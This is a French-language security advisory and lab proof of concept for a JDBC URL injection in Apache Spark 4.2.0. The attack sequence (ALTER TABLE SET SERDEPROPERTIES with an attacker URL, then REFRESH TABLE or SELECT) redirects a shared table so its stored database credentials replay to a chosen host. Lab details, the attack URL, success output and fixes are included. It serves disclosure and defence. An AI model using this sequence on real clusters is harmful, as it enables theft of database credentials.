
Apache Spark 4.2.0 - Élevé - À distance - Injection d'URL JDBC - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Classe : injection d'URL JDBC Portée : distante
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 a empêché les options supplémentaires au moment du scan d'écraser une url JDBC stockée. ALTER TABLE SET SERDEPROPERTIES fusionne toujours dans storage.properties, qui est la table d'options de scan JDBC. Les user / password stockés ne sont pas des noms d'options JDBC de Spark, ils sont donc transmis à la nouvelle URL.
Un utilisateur SQL d'un catalogue partagé peut rediriger une table USING jdbc provisionnée par un opérateur et rejouer le mot de passe de base de données stocké vers un hôte de son choix.
| ID | pas encore de CVE |
| Classe | injection d'URL JDBC / réutilisation d'identifiants stockés (reliquat de SPARK-31710) |
| Portée | distante (Connect ou Hive Thrift SQL sur un catalogue partagé) |
| CWE | CWE-15, CWE-522 |
| CVSS | Élevé : 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Produit | Apache Spark |
| Affecté | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) tables JDBC SQL v1 |
| Auth | utilisateur SQL d'un catalogue partagé (pas un jar soumis comme job) |
| Licence | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1:18960 uniquement |
Une session SQL Connect gRPC ou une session SQL Hive Thrift sur un externalCatalog partagé qui possède déjà une table persistante USING jdbc avec des identifiants stockés. Pas un soumetteur de job. Pas la session qui a nommé l'URL d'origine.
| Méthode | Cible | Privilège |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') puis REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties puis JDBC Driver.connect(url, properties) | Intégrité : rediriger la table provisionnée vers un listener de l'attaquant. Prouvé en lab (connect=yes). Confidentialité : rejouer les user / password de la base stockés lors du démarrage PostgreSQL et de l'authentification en clair. Prouvé en lab (user-replay=true password-replay=true). La reconnaissance du secret via SHOW CREATE est fermée (caviardé). |
Même persistance, SELECT ultérieur d'un autre tenant sur t | ligne du catalogue partagé | Intégrité, déduite : les requêtes des autres sessions sur t atteignent désormais la nouvelle URL (mauvaise base, lignes contrôlées par l'attaquant). Disponibilité, déduite : la base d'origine est injoignable jusqu'à ce qu'un admin réinitialise le serde. Hors périmètre pour le DoS. |
Clés serde supplémentaires (sessionInitStatement, prepareQuery, driver) | options de scan sur les user / password restants | Intégrité, déduite : instructions supplémentaires ou un constructeur sans argument de Driver sur le classpath. Ne pas gonfler en RCE sans gadget sur le classpath par défaut. Non exercé. |
ALTER TABLE SET TBLPROPERTIES | CatalogTable.properties uniquement | Fermé pour cette exploration. Prouvé en lab (l'url de stockage inchangée, aucun hit sur l'oracle). |
Conflit d'option supplémentaire url au moment du scan | SPARK-31710 generateDatasourceOptions | Fermé. Prouvé en lab (extra-options-clash refusé). |
spark.read.format("jdbc").option("url", ...) nommé par la même session | plan de données prévu | ABANDONNÉ. L'URL contrôlée par le propriétaire n'est pas ce reliquat. |
SET SERDE '<class>' sur une table datasource | nom de classe | Fermé (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). Non exercé. |
Fermé adjacent : JDBC / chemins de fichiers nommés par la session. Vérification de conflit spark.sql.legacy.extraOptionsBehavior. Spark OSS n'a pas d'externalOptionsAllowList Unity. L'URL de CREATE TABLE est contrôlée par le propriétaire (pas ce reliquat). La caviardage des URL JDBC dans les logs est inconditionnel. Le path d'une table fichier réside dans locationUri. Les connexions JDBCTableCatalog proviennent de la conf du catalogue de session (même plan de données que le choix d'une URL). Un pyspark mono-utilisateur sans catalogue partagé est hors modèle.
J'ai épinglé Spark 4.2.0, pas master et pas une RC 4.3. La soumission de job sur un cluster ouvert est voulue par conception. Les reliquats intéressants se trouvent à côté de correctifs nommés. SPARK-31710 / generateDatasourceOptions refuse une url différente au moment du scan pour une clé serde existante. SET TBLPROPERTIES n'écrit que dans table.properties. Les tables datasource autorisent toujours SET SERDEPROPERTIES et fusionnent dans storage.properties (++, les clés ultérieures gagnent). user et password n'entrent jamais dans jdbcOptionNames, donc asConnectionProperties les transmet à Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE caviarde password. L'utilisateur SQL ne peut pas relire le secret. Il peut toutefois le transmettre.
Fausses pistes déjà consignées : traiter l'url de CREATE TABLE comme le bug ; signaler à nouveau le conflit d'options supplémentaires ; s'attendre à ce que SET TBLPROPERTIES déplace le stockage ; affirmer que SHOW CREATE divulgue le mot de passe ; lancer un cluster complet alors que le Scala cité est un gadget ; un reverse shell. L'oracle est un démarrage PostgreSQL plus une authentification en clair sur loopback.
cd lab
./run.sh
Loopback 127.0.0.1:18960 est un listener du protocole PostgreSQL. Le health HTTP est 127.0.0.1:18961. Le conteneur gadget est Temurin 21 plus libpostgresql-jdbc-java. L'URL stockée est jdbc:postgresql://127.0.0.1:1/provisioned (connexion refusée). L'URL d'attaque est jdbc:postgresql://oracle:18960/stolen. Utilisateur stocké spark_jdbc. Mot de passe stocké stored-secret-SPARK-JDBC-SERDE-URL. Le lier à loopback.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
Refuser les clés SET SERDEPROPERTIES qui entrent en conflit avec les url / user / password JDBC stockés, la même vérification que generateDatasourceOptions exécute déjà pour les extras au moment du scan. Ou supprimer les user / password stockés lorsque l'url change. Ou traiter le serde JDBC de datasource comme des propriétés de table, pas de stockage. En attendant, ne pas accorder à du SQL non fiable le droit ALTER TABLE sur une table persistante USING jdbc qui stocke un mot de passe.